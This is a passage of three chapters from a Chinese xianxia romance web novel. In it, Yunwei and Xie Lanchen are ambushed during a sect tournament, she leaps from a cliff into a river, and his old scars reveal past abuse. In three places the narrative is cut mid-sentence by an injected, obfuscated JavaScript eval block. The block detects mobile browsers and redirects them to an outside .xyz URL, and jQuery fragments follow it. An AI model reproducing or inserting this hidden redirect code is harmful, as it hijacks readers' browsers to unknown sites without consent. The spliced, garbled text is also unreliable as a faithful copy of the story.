她毫不怀疑,若此刻露出半分破绽,谢青峰会毫不犹豫地再次出手,如同石塘镇那夜一般,将她这“可能的隐患”彻底抹除。 但这一次,她不会再给他偷袭的机会。 走出殿门,外间空无一人,吴长老已不知去向。 谢青峰虽暂时被谎言稳住,但其人心思深沉多疑,绝不会轻易尽信,日后必定还会暗中探查。 正思忖间,却见不远处一个玄色身影疾奔而来,步履匆匆,带起一阵疾风,竟是谢澜忱。 谢澜忱?他怎会来此?还如此匆忙? 是放心不下她?还是另出了什么事端? 云微看他神色紧绷,不似平常那副冷漠模样。 少年跑得很急,她不及细想,下意识便疾步上前,伸臂一拦一托,稳稳扶住了他踉跄的身形。 谢澜忱神情明显一怔,钴蓝色的眼眸中眸中闪过一丝转瞬即逝的无措,随即冷硬地别开脸,喉结轻滚了滚:“挡路做什么?若不是你突然冒出来,我怎会险些摔倒?” 云微:…… 少年向来如此,明明是自己不稳,偏要把话头往别人身上引。 她松开手,神色平静无波,淡淡道:“我无事。这里不是说话的地方,先离开再说。” 少年像是这才意识到自已的失态,立刻收敛了外露的情绪,又变回那副冷冰冰、生人勿近的模样,只是眼神仍不由自主地追着她,上下打量,闷声道:“……嗯。” 他乖乖跟上云微的脚步,与她并肩而行,却又忍不住侧头看她,语气硬邦邦地追问:“当真没事?他……没为难你?” 云微目视前方,简短答道:“他疑心我的身份,但我联络了阿雅助我。” 少年闻言,眉头紧蹙:“南宫雅?她应付得了谢青峰?” “阿雅做得很好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16311415|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”她道,“他已暂且信了,允许我继续参赛。” 他这般急匆匆赶来,竟是真在担心我?云微心想。 少年虽嘴上从不饶人,行动却……罢了,如今她二人同生共契,他担心自己,也只是怕她连累他一同殒命。 谢澜忱明显松了口气,紧绷的肩膀微微放松下来,但嘴上却不肯饶人,冷哼一声:“算她还有点用处,没白费你一路那般护着她,险些把自己都搭进去。”随即他又想起什么,语气带着一丝炫耀的意味,说道:“我方才擂台赢了。这一次,我不会像三年前那般弱了。” “嗯。”云微反应平淡,并未看他,只轻轻应了一声。 赢了便赢了,有何值得特意说道? 不过……他竟还记得三年前输给她的事?竟如此记仇,至今仍念念不忘要赢回来?倒是……执拗得有些可笑。 她的思绪不由飘回三年前宗门大比,末轮“问心路”上。 她提着剑先一步踏上顶峰,转身时,剑尖对着下方石阶上的少年,语气平静:“谢澜忱,你输了。” 少年抬头望她,额际汗湿,眼底情绪翻涌复杂至极,有不甘,有执拗,有挣扎,更有一些她当时看不懂、也不想懂的东西。 她以为他会恼,毕竟他从来不是肯轻易认输的性子。可少年只是盯着她看了片刻,随即往后一仰,整个人顺着石阶滚了下去。 那时他眼底那点没说出口的挣扎,到底是为了什么?他在躲着什么?或是在对着她,藏着什么不肯说的心事? 只是当时她一心问道,眼中唯有剑道之巅,从未深思。 “云微。”谢澜忱见她久久不语,仿佛完全没将他的话放在心上,不由提高声音,带着一丝不满道,“我在与你说话,你为何不应?” 云微回过神,侧头看他,如实相告:“我在想三年前宗门大比的事。” 她看着他瞬间变得有些不自然的脸色,不禁将心中存了许久的疑问抛出:“我只是在想,当年问心路,你最后究竟看到了什么心魔,竟会……自行放弃?” “没什么。”谢澜忱急急打断她,语气又快又冲,眼神却闪烁不定,不敢与她对视,只盯着地面,耳根处悄然漫上一抹可疑的薄红,“不过是些无谓的杂念罢了,扰人心神!我早就不记得了!”他语气斩钉截铁,却愈发显得欲盖弥彰。 云微看着他这副模样,与平日那副阴沉冷漠、嘴硬心狠的模样判若两人,心中那点疑惑更深:他为何……反应如此之大?甚至耳朵都红了? 那心魔……究竟是何物,能让他这般失态? 不过,少年这般模样,倒是比平日那副死气沉沉、浑身是刺的样子生动些。 虽然依旧嘴硬别扭,却没那么惹人厌烦了。 “谢澜忱。”云微开口叫住他。 少年脚步一顿,极慢地扭过头来,面上浮现出一抹淡淡的不解:“又怎么了?” “明日季轮,需两人结队。”她抬眸看他,目光平静而认真,“我们组队吧。” 36.坠崖 “无名姑娘?无名姑娘?”宁兮河轻声唤道。 云微正凝神打量着归云宗广场上攒动的人影,闻声回眸。她今日穿着一身利落的月白色劲装,墨发高束,仅以一根素银簪固定,神情是一贯的清淡,眸光扫过宁兮河,微微颔首:“宁师姐。” 宁兮河穿过人群快步走近,脸上带着关切:“无名姑娘,你可寻好队友了?若没有,我……” “多谢宁师姐挂心,我已有了。”云微语气平和,与她一同朝参赛者聚集处行去。 宁兮河略显惊讶,笑问:“是谁这般好运,能得无名姑娘青睐?” 云微目光掠过人群,精准地落在远处一根石柱旁倚靠的身影上。 谢澜忱一袭玄衣,双手抱臂,下颌微抬,正冷眼瞧着广场上喧闹的众人,一副生人勿近的模样。 “是他。谢澜忱。”云微淡淡道。 宁兮河顺着她的目光望去,脸上笑容一僵:“谢师弟?他的实力自是没话说,可他那性子在宗内是出了名的难相处。你与他组队,只怕……” 云微脑海中闪过昨日寻他组队时的情形。 少年先是愣住,随即眼神复杂地瞥了她一眼,旋即别开脸,冷哼一声:“现在倒知道来找我了?离开碧月山庄那日,我问你是否要同行,你可是拒绝得干脆利落。” 当时拒绝他,是因归云宗耳目众多,她二人关系不宜过早暴露。 既然后来少年已当众认下“捡到她”之事,此时组队便顺理成章。 只是没想到他竟还记着那日之事,这般小气记仇。 她垂下眼帘:“多谢宁师姐提醒。我自有考量。” 此时广场上三十二名晋级弟子已全部到齐。 钟声清越,两位长老缓步登上前方高台。 一位是吴长老,另一位身形高瘦,眉间有一道深深的竖纹,正是掌管刑律的王长老。 他是父亲座下最铁面无私的一位,特意派来坐镇大比,看来昨日父亲疑心未尽,是想借此机会进一步观察她。 须得更加小心。 王长老轻咳两声,压下场间议论:“今日季轮,考验尔等协同与应变之能。任务简单,取得''双生莲''即可。稍后会将尔等传至禁域,需先寻到自己的队友。”他又道:“二人颈上所佩''云踪珠''相连,一损俱损!若队友珠子被击碎,即便毫发无伤,亦同样淘汰!林中藏有八朵双生莲,限时三个时辰。时辰一到,手持双生莲者胜!” 吴长老紧接着补充,目光似有似无扫过她:“双生莲夺得不易,更需提防他人抢夺。宗门大比,虽点到即止,然刀剑无眼,若存了不该有的心思,仗着些小聪明行险,后果自负!” 云微面色平静,恍若未闻。 厌我疑我,也由不得你们。她如此想道。 她转向少年的方向,见他亦正望来。 云微朝他点了点头,嘴唇无声开合,吐出“高处”两个字。 谢澜忱虽性子别扭,这点默契总该有。 两位长老同时掐诀,广场上空光华大盛,传送阵法骤然亮起,引得云微抬手遮挡双目。 强光刺目,待她放下手时,已置身于一片幽深林地边缘,身旁是陡峭崖壁,崖下传来湍急河水奔涌之声。 依约定,少年应会往地势高处去。 她收敛气息,悄然向林间一处高坡掠去。 刚接近坡顶,敏锐察觉到侧后方树丛微动,她瞬间凝神,手已按上断尘剑柄。 却见树丛分开,谢澜忱抱臂走出,玄衣上沾了几片草叶,神色冷傲:“慢死了。”他上下扫她一眼,“还以为你连汇合点都找不到。” 说罢,少年冷哼一声:“这地方与三年前大比时截然不同,那群老家伙真是爱折腾。” “莲花喜阴湿,先去东面那片雾气最浓的林子看看。”云微判断道,率先掠出。 少年紧随其后,二人一前一后疾行林间,彼此无言。 正行进间,她忽见一个身影狼狈万分地狂奔而来。 是赵常胜。 他满脸惊惶,像是正被什么可怕之物追赶。 谢澜忱眼神一厉,孤鸿剑瞬间出鞘。 “别!别动手!”赵常胜吓得猛地停住脚步,连连摆手,“后面林子里有个大家伙!厉害得很!我们先联手……” 话音未落,一声震耳欲聋的咆哮自林深处炸响,吓得他连忙躲在谢澜忱身后。 一道庞大的黑影窜出,竟是一头通体黝黑、獠牙外翻的裂山魈。 云微眸光一凝,这裂山魈出现得蹊跷,长老们绝无可能不知。 这难道是此次季轮的考验之一? 无需言语,她与谢澜忱对视一眼,皆看出对方心中所想。 她腰间断尘剑铿然出鞘,身形一闪避开裂山魈挥来的利爪,剑势清绝凌厉,直刺其心口要害——仅一剑,便将这凶妖斩杀。 那凶妖哀嚎一声,轰然倒地,庞大的身躯化作光点消散,原地竟缓缓生出一株白色的莲花。 双生莲。 云微气息微促,收剑而立,看着那株莲花。 她单膝蹲下,正欲仔细探查,岂料一道赤色符箓倏地从莲心生出,贴在她心口上。 一股刺痛霎时传遍四肢百骸,灵力流转骤然停滞。 她的修为竟被封禁了? “这是禁灵符箓。”她心头一沉。 几乎是同时,谢澜忱像是骤然忆起什么,转身厉声喝道:“赵常胜,你竟敢……” 原本吓得瑟瑟发抖的赵常胜眼中掠过一丝得意,他手腕一翻,藏在袖中的匕首疾刺而出,扎向少年腰腹。 “呃!”谢澜忱闷哼一声,看着一截染血的剑尖从自己腰腹前透出,温热的鲜血汩汩涌出,迅速染红了玄色衣袍。 云微呼吸一滞,强撑着因修为尽失而虚软无力的身体想要冲过去,却只觉得脚下绵软,踉跄一步,险些栽倒。 她握紧断尘剑,剑柄冰冷的触感让她稍稍定神。 赵常胜手持匕首,放声大笑:“谢师兄!别怪我心狠手辣!要怪就怪你为了那个堕魔而死的云微那般折辱于我!我赵常胜早就想报这个仇了!” 他又看向云微,嗤笑道:“还有你!无名?哼,跟云微一样蠢!看见妖兽就急着诛杀,活该中计!这禁灵符箓的滋味如何?是不是感觉自己浑身无力,像个废人?” “杂碎!”谢澜忱咬牙怒骂,声音因痛楚而嘶哑,额角青筋暴起。 好一个一石二鸟的毒计。 云微勉强站起身,冷冷注视着赵常胜,语带讽刺:“你以为这般算计就能得逞?你可知晓,暗算同门,按规矩当废去修为,逐出宗门?” 赵常胜脸色微变,随即又强自镇定:“你!你少吓唬我!” 云微神色自若。 她虽修为被封,但多年练就的剑招仍在。 她手腕一抖,断尘剑并非直刺,而是以剑背打在赵常胜持匕的手腕。 赵常胜没料到她失了修为竟还有如此身手,吃痛之下匕首脱手。 云微趁势突进,反手剑柄狠狠撞向他颈侧。 赵常胜眼白一翻,哼都未哼一声便软软倒地晕死过去。 几乎在他倒地的同时,谢澜忱身体一晃,再也支撑不住,单膝跪倒在地。 她急忙扶住他,让他倚靠在自己肩头。 少年的玄衣已被鲜血浸透大半,她用手死死按住他不断洇血的伤口,入手处一片温湿粘腻,鲜红的血液从她指缝间不断涌出,染红了她素白的手指和衣袖。 她看着自己满手刺目的鲜血,感受着少年身体逐渐失温的轻颤,心头沉沉下坠。 血。 这么多血。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16327693|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他伤得竟如此重。 同生契……若他死了……她亦无法独活。 不,不能让他死。 可此刻揪紧她心脏的,仅仅是因为同生契吗? 看着少年苍白的脸、因忍痛而紧抿的唇,她竟一时无法分辨。 “咳……”谢澜忱靠在她肩上,气息微弱紊乱,脸色苍白如纸,却仍硬撑着扯出一个惯常的、带着几分讥诮的冷笑,“放心……死不了……没那么容易……如你的愿……” “闭嘴。”云微恶声打断他,“你再多说几句血流得更快。” 话毕,她强迫自己重新镇定下来,目光快速扫过四周林木,“我修为被封,若再遇敌绝难抵挡,必须立刻找个隐蔽之处替你止血包扎。” “你们想走?没那么容易!”林深处传来急促脚步声,另一个穿着归云宗弟子服、身材高瘦的男弟子疾奔而来,显然是赵常胜的队友。 他一眼看到倒地昏迷的赵常胜以及浑身是血、倚在云微身上的谢澜忱,脸上立刻露出狠厉之色,“谢师兄,没想到你也有今天。重伤的滋味不好受吧?还有这位无名姑娘,你如今没了修为,还不如凡人吧?不如直接捏碎云踪珠退出比赛,也省得我动手!” “想要云踪珠,自己来拿。”云微冷冷开口,将谢澜忱小心地安置在一旁的树丛后。 她站起身,横剑当胸。 那高瘦弟子被她冰冷的目光和架势慑得一滞,随即恼羞成怒,又见谢澜忱确实重伤濒危,自觉胜券在握,长剑一挺,喝道:“那我就只能亲自送你们出局了!” 云微看得分明,那弟子招式虽狠,却略显急躁。 她侧身避开其剑气,断尘剑斜斜一引,搭上来剑剑脊,顺势向下卸力。 两剑相擦,带出一串细碎火花。 云微心中飞快盘算:眼下她修为尽失,久战于己不利,且谢澜忱伤势危急,硬拼绝非上策。 唯今之计,只有兵行险着。 她自幼便识水性,或许可以借崖下急流脱身。 对方见她剑招虽妙却无力道,渐渐放下心来,攻势越发狂猛,招招直取要害。 云微侧身险险避过锋芒,连连后退,直至崖边,脚下碎石滚落,下方河水轰鸣作响。 她回头瞥了一眼汹涌的河流,心中定下一计。 她一边看似狼狈地躲闪,一边向悬崖边缘退去,同时用眼神示意藏身树丛的谢澜忱切勿妄动。 少年捂着不断渗血的伤口,脸色惨白,一种不好的预感在心头蔓延。 他挣扎着想要起身,腰腹的剧痛让他眼前发黑,却仍嘶哑喊道:“云……你想做什么?!别乱来!” 只见她退至崖边最险处,收剑回鞘,故意对那紧逼而来的弟子讥讽道:“归云宗弟子,也就只会趁人之危了吗?若我修为仍在,你敢如此嚣张?” 闻言,那弟子果然被彻底激怒,面红耳赤:“牙尖嘴利!我看你没了修为还能嘴硬到几时!”他怒喝一声,一剑当胸刺来,势要将她击败。 可她非但不躲,反而侧身迎上,任由剑锋擦着臂膀划过,同时两只手死死拽住那弟子因前冲而来不及收回的手腕,神情自若:“逞凶伤人、趁人之危,归云宗的脸都被你们丢尽了。既敢挥剑,想必该有同归于尽的觉悟。” 谢澜忱目睹此景,瞳孔骤缩。 他明白了她的意图,她是要与对方同坠悬崖,借急流脱身。 可她如今修为全无,那湍急河水藏着多少凶险,她怎么可能撑得住? “等等!不要!”少年嘶声喊道,踉跄着朝崖边扑去。 他伸出右手,用尽了全身的力气向前抓去,指尖却只触到她扬起的衣角。 他眼睁睁看着她拽着那惊骇欲绝、疯狂挣扎的弟子,纵身向后一跃,两人一同坠下悬崖,没入滔滔急流之中。 37.人工呼吸 两人噗通一声跌落冰冷湍急的河流之中。 那弟子刚一落水便惊恐万状,双手胡乱扑腾,刚张口欲喊“救命”,一股浊流便猛灌入口鼻,呛得他面目扭曲,咳嗽不止,眼中尽是骇然。 云微探出水面,逆着水流逼近那挣扎的弟子,却并非是想救人。 水波激荡间,她探出右手,直取对方颈项下悬挂的那枚赤红色云踪珠。 “你!”他只来得及吐出一字,那云踪珠便已在她指下应声而碎。 赤芒骤然一闪,那弟子顷刻模糊虚化,被瞬间传送出禁域,淘汰出局。 珠碎人消,云微心头却无半分轻松。她原想借水力脱身,却着实高估了自己此刻的身体。 她虽识水性,奈何此刻修为尽封,连番恶斗下来,早已是强弩之末,气力不济。 耳边传来轰隆水声,她的意识因彻骨寒冷而逐渐模糊,划动的手臂愈发沉重,竟似难以挣脱,身体不由自主地被汹涌急流裹挟着冲向下游。 她很清楚,只需捏碎自己的云踪珠,便能立刻脱离这险境,保住性命。 远在归云宗的那两位长老,此刻定然透过水镜紧盯着她的一举一动。 他们冷眼旁观,甚至可能暗中纵容那些弟子对她下死手,不就是为了逼她在这绝境中主动放弃,逼她认输? 可他们越想看她狼狈退场,看她屈服认命,她就偏不如他们的愿。 长老欠她的,父亲欠她的,她定要亲手一一讨回。 云微闭上眼,并非放弃,而是集中最后残存的力气,试图感应周围水域的流向。 她忽觉腰间一紧,被人牢牢箍住,背脊抵上一片温热的胸膛,硬生生将她从冰冷的漩涡中拖拽而出。 她依稀听到耳边传来少年咬牙切齿的怒骂,混合着剧烈喘息和水流声,“你……你不要命了?!” 她竭力想睁眼,只感觉自己被人牢牢护在怀中,以身体为她隔开湍急的水流和水中暗石,逆着水势艰难移动。 恍惚间,似有冰冷的唇覆上,带着一丝极淡、却无法忽视的血腥气,渡来微弱的气息。 “咳咳……咳咳……”胸腔剧痛,她猛地侧头,吐出呛入的河水,终于勉强睁开沉重眼帘。 视线先是模糊,继而渐渐清晰。谢澜忱近在咫尺的脸庞映入眼中,苍白得毫无血色,河水顺着他紧绷的下颌不断滴落。 他一手紧紧揽着她的肩背,支撑着她不让她滑倒,另一手却死死捂着自已的腰腹。 那处伤口上不断有血色渗出,甚至将周围浅滩的河水染成淡红,抱她上岸这一路,鲜血更是淅淅沥沥地拖出一道长长的痕迹。 “谢澜忱?”她声音沙哑得厉害,“你……” 少年喘着粗气,眼神凶狠地瞪着她,仿佛想将她生吞活剥,可那眼底深处翻涌的,却是未散的惊惧与后怕,浓烈得几乎要溢出来:“我若不来……你待如何?!同归于尽?!谁准你这般行险!你若真死了……” 他猛地顿住,后面的话像是被什么堵住,只余剧烈起伏的胸膛和眼中未竟的余悸。 他每一个字都像是从齿缝里挤出来,带着剧烈的喘息和压抑不住的颤音。 云微抬眼看他,哑声解释道:“我没想与他同归于尽。我识水性,只是碍于修为被封,气力不济,才……”话未说完,却见少年身子一晃,竟直直向后倒去,彻底晕厥在地,不省人事。 他腰腹间的伤口早已被冷水浸得发白,血色却依旧不断氤氲开来,愈发惊心刺目。 云微心头一紧,他伤得极重,又浸了冷水,失血过多,若再不施救,恐真有性命之忧。同生契相连,他若死,她亦不能独活。 这念头一闪而过,却并非她心悸的主因。 她绝不能让他死,可此刻自己修为尽失,与凡人无异,须得立刻为他止血包扎。 思及此,她定了定神,利落地撕下自己较为干净的衣角,扯成宽窄合适的布条。 她先将布条紧紧缠绕在少年的腰腹处,用力扎紧,以期压迫止血。 但光这样远远不够。少年浑身湿透,寒邪入体,必定引发高热。 她举目四望,见不远处有一处凹进的岩壁,恰可暂避风寒。 * 火光跳跃,驱散岩壁下的阴冷潮湿,映照出两人身影。 谢澜忱睫毛轻颤,缓缓睁开眼,首先映入眼帘的便是一双近在咫尺的浅灰色眼眸。 跳动的火光映着她的脸,水珠沿着她略显苍白的脸颊滑落,发丝凌乱地贴在额际颈侧,眼神虽疲惫,却依旧保持着惯有的清明冷静。 “你醒了?”云微开口,目光沉沉看向他。 少年低低“嗯”了一声,嗓音干涩,半晌才迟钝地察觉不对。 为何视线如此之近? 他赫然发觉脑后枕着的并非地面,而是她的腿膝。 谢澜忱怔了一瞬,随即猛地坐起身来,动作牵动腰腹伤口,顿时疼得倒抽一口冷气,额角瞬间沁出细密冷汗,脸色又白了几分。 云微蹙眉,伸手欲扶又止,语气带上一丝责备:“你的伤口才勉强止住血。为何不听我先前传音的话好好躲着?你可知你那样不管不顾跳下来,伤势加重若有个万一……” “等等,先别说这个。”少年打断她,似乎不愿继续这个话题,眼神警惕地环顾四周,并指快速掐了一个诀,一道淡薄的光幕悄然升起,将两人与外界隔绝开来。 “隔音结界?”云微眸光微凝,语气带着几分探究,“你何时学会了这个?” 她记得自己先前曾在谢澜忱面前用过几次,想不到他竟暗中记下,甚至学会了? 少年不语,只抿着苍白的唇,低头看向自己腰腹间包扎整齐的布条,眼神复杂地闪烁了一下,指尖无意般拂过那细致的结,半晌别扭地移开目光,低声嘟囔了一句:“……包扎得如此难看,还不如我自己来。” 云微闻言,心中不由莞尔。 这人明明心里感激,嘴上却偏要逞强。 她自是看得出他方才指尖拂过包扎处时那一瞬间的迟疑,分明是察觉到了她包扎时的用心。 不过……口是心非,倒是他一贯的作风。 少年望着噼啪燃烧的火堆,半晌后开口道,声音里淬着冷意:“那赵常胜竟敢对你用禁灵符箓……待出了这禁域,我必叫他后悔今日所作所为。” 云微看着少年苍白的侧脸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336181|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火光在那张俊美的脸上投下明暗交织的阴影。 她沉默一瞬,道:“他的账,我自会清算。你不必……” “不必什么?”谢澜忱倏地转头看她,面上浮现出淡淡的不解,“你还在顾念那点同门情谊?他们是如何对你的,你难道忘了?围追堵截,禁灵符箓,哪一样不是要置你于死地?此事岂能就此作罢?”他这一番话牵动了伤口,又忍不住蹙眉闷哼一声。 云微心中暗叹,她何曾想过要放过赵常胜等人?只是希望此仇由自己来报,以免牵扯到他。 罢了,他伤势未愈,何必与他争这一时之意? 思及此,她放缓了声音:“我不是这个意思。只是赵常胜不过是棋子,背后或许还有人指使。你贸然动手,反而打草惊蛇。” 谢澜忱冷哼一声:“那就连他背后的人一并揪出来。归云宗这潭水,早就该搅一搅了。”他顿了顿,目光落在她依旧苍白的脸上,语气不自觉放软了些,“……你可有受伤?” 云微摇头:“只是耗力过度,并无大碍。” 谢澜忱闻言,目光下意识地落在她唇上,随即又僵硬地移开视线,手指无意识地蜷缩了一下,试图掩饰心中的慌乱与悸动。 云微将他这番情态尽收眼底,心中亦是泛起一丝异样。 他这是怎么了? “此事出去后我自有计较,当务之急是你的伤。”她忽然想起一事,从怀中取出一个小巧玉瓶。“这是阿念先前赠我的‘玉髓生肌散’,对外伤有奇效。你脱了衣服,我替你上药。” 谢澜忱面色一怔,随即垂下眼,抬手揪紧自己湿漉漉、仍紧贴皮肤的衣襟,语气竟带上了几分罕见的仓促与抗拒:“……不必!我自己来即可。”那神情竟是前所未有的慌乱与抗拒,仿佛衣襟之下藏着什么极不愿、也绝不能被她看见的东西。 他这般过度反应,绝非寻常羞赧或客气。云微心想。 但见他态度异常坚决,且伤口主要在腰腹,脱衣也确实不便,她不便强行动手,便不再坚持,将玉瓶塞入他手中:“也好。你自己小心些,勿再牵动伤口。” 说罢,她依言转过身去,闭上眼,耐心等待。 岩壁下唯有火堆燃烧的噼啪声,以及身旁传来的细微衣物摩擦声。 云微心中疑虑未消:他究竟在隐藏什么? 以少年的性子,寻常伤痕绝不足以让他如此失态。 忽然,她听见谢澜忱极轻地“嘶”了一声,似是痛极。 她倏地睁开眼,侧过头望向他,语气带着询问:“你怎么了?是伤口……” 话语戛然而止。 只见谢澜忱上衣半褪,堆叠在腰间,露出精瘦却结实的胸膛和腰腹,地上散落着他刚刚拆掉的、她之前为他包扎用的布条。 而在他心口偏上的位置,虽被他自已仓促用手掌捂住大半,但仍可清晰看到,那处肌肤上,竟有着数道纵横交错、狰狞无比的陈旧疤痕。 那些痕迹显然是被利器反复划过、切割而成,凌乱不堪,几乎将那一小片肌肤彻底毁去,难以辨认原貌。 但通过那残存的、模糊的笔画,云微还是拼凑出了两个字—— 走狗。 38.疤痕 云微眸光一沉,忽地伸手攥住他手腕,力道不容挣脱。“这两个字,是何人所为?”她声音冷冽,直视他闪避的眼眸,“谢澜忱,我在同你说话。回答我。” 少年眉头紧蹙,猛地甩开她的手,药瓶也应声落地,在岩石上滚了两圈。 他迅速拉好衣襟,系紧衣带,良久才嗤笑一声:“师姐还会在意我?”他抬眼看她,钴蓝色的眼底似有暗流汹涌,“七年前,是你将我从那尸山血海中捡了回来。我那时奄奄一息,浑身是血,你对我说,‘活下去,我便教你练剑’。” “可你将我带回归云宗后做了什么?”少年继续道。 “你将我随意丢进外门,便不闻不问。你可知道外门是何光景?弱肉强食,比妖魔更可怕。我日复一日地清扫石阶、劈柴挑水、搓洗脏衣。那些所谓的师兄见我无依无靠,便极尽欺凌之能事。这‘走狗’二字,便是他们将我踩在泥地里,用生锈的匕首一刀一刀刻上去的。他们笑我是你捡回来的狗,却又被你随手抛弃,连看一眼都嫌多余。” “一年……整整一年。我每日都在那泥泞里挣扎,盼着你或许还记得这个承诺,会来看我一眼。可你呢?你在哪里?你在你的剑阁之巅,是人人敬仰、光芒万丈的大师姐。你的目光,何曾为我这等蝼蚁停留过分毫?” 云微怔了怔,喉间微堵,原本冷定的神色添了几分松动。 她自然记得那个被狼妖屠戮殆尽、满目疮痍的村庄,记得血泊里那个肋骨尽断、奄奄一息的孩子。 她扪心自问:当年将谢澜忱带回,确是一片好意。见他毫无根基,只觉外门虽苦,却是打熬筋骨、磨练心性的正道,总好过在内门拔苗助长。 她彼时一心扑在剑道上,日夜苦修,只求不负父亲期望,证明女子亦可不输男儿。 外界诸多琐事,包括这个她以为已被妥善安置的少年,便真的渐渐被埋没在无止境的修炼之下,更从未想过……外门是那般弱肉强食的炼狱,更不知他因自己一时之举承受了许多屈辱。 云微张了张口,半晌才寻回自己的声音:“你既受了这些,为何后来却成了父亲义子,得他的青睐?” 自少年出现,父亲的目光便越来越多地落在他身上,那些曾属于她的赞许、乃至那份微薄的亲情都逐渐倾斜。 她不解,亦不甘。云微心道。 少年顺着她的目光,瞥见她心口的禁灵符箓,眼底翻涌的情绪忽然冷静下来。 他垂下眼,扯了扯嘴角:“为什么?因为我想活下去,想有朝一日能站在足够高的地方,高到能让某些人看见我。外门的日子让我明白,等待怜悯是最愚蠢的事。宗主偶然见我根骨尚可,又肯拼命,便给了我机会。” 云微心绪翻腾如海。 她看着他苍白而执拗的脸,忽然意识到,他们之间横亘的,是长达七年的误解。 她下意识地伸出手,想碰触他胸口那道狰狞的伤疤,似乎想确认什么,又或是想抚平那过往的痕迹。 可指尖尚未触及,手腕便被猛地攥住。 “你现在又来假慈悲什么?”谢澜忱眸色深暗,一把将她抵在冰冷的岩壁上。他俯身逼近,气息灼热地拂过她的脸颊,带着压抑不住的怒意与七年积压的委屈:“你当时为何丢下我?就因为我是累赘?因为你那时眼里只有你的剑,你的道,你那高高在上的父亲对你的期许,再也容不下其他任何微不足道的人事,对吗?” 他指尖掐着她的下颌,动作带着几分不自知的贪恋,语气也忽然软了下来:“若你始终认为是我抢了原本属于你的一切,那便一直恨着我吧。恨多好啊?恨我的时候,你眼里只会有我。这样总好过你连我的名字都记不起,对不对?” 云微被他困于方寸之间,背脊紧贴岩石,眼底掠过一丝怔忡,随即是难掩的涩意,连素来清冷的眸光都添了几分黯淡,唇瓣抿成一条线。 原来在他眼中,自己竟是如此不堪,只顾自身道途,冷漠弃他于不顾? 可当年她亦步履维艰,父亲虽为宗主,对她这女儿却从未稍假辞色,唯有严苛的要求与沉重的期望。 而如今,少年深受父亲信重,尽得她所失,却反过来质问她当年为何不施以更多援手? 这世间因果,岂能如此简单论断?云微这般想道。 “我从未这么想过。”云微开口,试图解释。 “外门亦是修行之路,我以为这对你而言或更稳妥,能打下根基。我不知……” 不知人心险恶至此,不知自己的无心之举竟将他推入火坑。 “稳妥?”谢澜忱冷笑打断,眼底尽是讥讽,“稳妥地被人踩在脚下羞辱?稳妥地差点死在无人知晓的角落?云微,你的‘以为’,可真是轻巧。” 云微迎着他灼人的目光,心底那点因过往而生的混乱忽然沉淀下来。 她忍不住反问一句,语气恢复了几分清冷:“那你成为父亲义子后,又可曾想过向我解释一句?你既知我或许忘了前事,既知我或许因此心生芥蒂,为何从不曾开口?只是一味地承受我的冷眼,甚至……配合着父亲,将那些原本属于我的东西一一拿走。谢澜忱,你这又是什么道理?” 她并非要指责,而是真的疑惑。 若他心中真有委屈,为何选择沉默与对抗,而非解释? 谢澜忱神情一滞,眼底掠过一丝极复杂的神色,像是被刺痛,又像是自嘲,随即别开脸,冷声道:“解释?向你解释什么?解释我如何‘抢’了原本属于你的一切?解释我是为了什么可笑的理由才去讨好宗主?你会听吗?那时的你,可曾正眼看过我?在你眼里,我恐怕只是一个工于心计、讨好卖乖、夺走你一切的小人吧?我说了,你会信吗?” 她会信吗? 若在当年,她正因父亲的偏心和自身的困境而愤懑不平、道心受阻之时,他若前来解释,她真的能心平气和地听进去吗? 她也不知道。 岩洞内一时寂静,只余洞外隐约的水声与两人浅浅的呼吸。 良久,云微轻叹一声,随即轻轻推开他,语气恢复一贯的冷静:“旧事纷扰,眼下非深究之时。隔音结界虽能阻绝声响,但二位长老此刻必通过浮尘镜观望着此地动静。举止过分异常,徒惹猜疑。” 她顿了顿,目光落在少年依旧渗血的腰腹处,那暗红的血迹刺目得很。“你的伤要紧,先上药。” 说着,她俯身拾起滚落一旁的药瓶,拔开塞子,递给他。 他恨我弃他、恨我无视,此刻争辩对错不过是徒增争执。云微心想。 况且季轮试炼在即,长老们又在暗处窥视,他若因伤误了进程,或是两人再起冲突引人生疑,才是真的得不偿失。 眼下先顾着他的伤,至于方才他的无礼,倒不必在此刻计较了。 少年盯着她递过来的药瓶,钴蓝色的眼底情绪翻涌,最终归于一片深沉的晦暗。 他沉默地接过药瓶,指尖不可避免地触碰到她的手,又迅速分开。 他背过身去,自行处理伤口,动作间牵动肌肉,额角渗出细密冷汗,却咬紧牙关一声不吭。 云微移开目光,望向洞外。 水声隆隆,雾气氤氲。 她心知,方才那番话虽未能尽释前嫌,但至少撕开了过往冰山一角。 而眼下,更重要的是应对宗门大比,以及 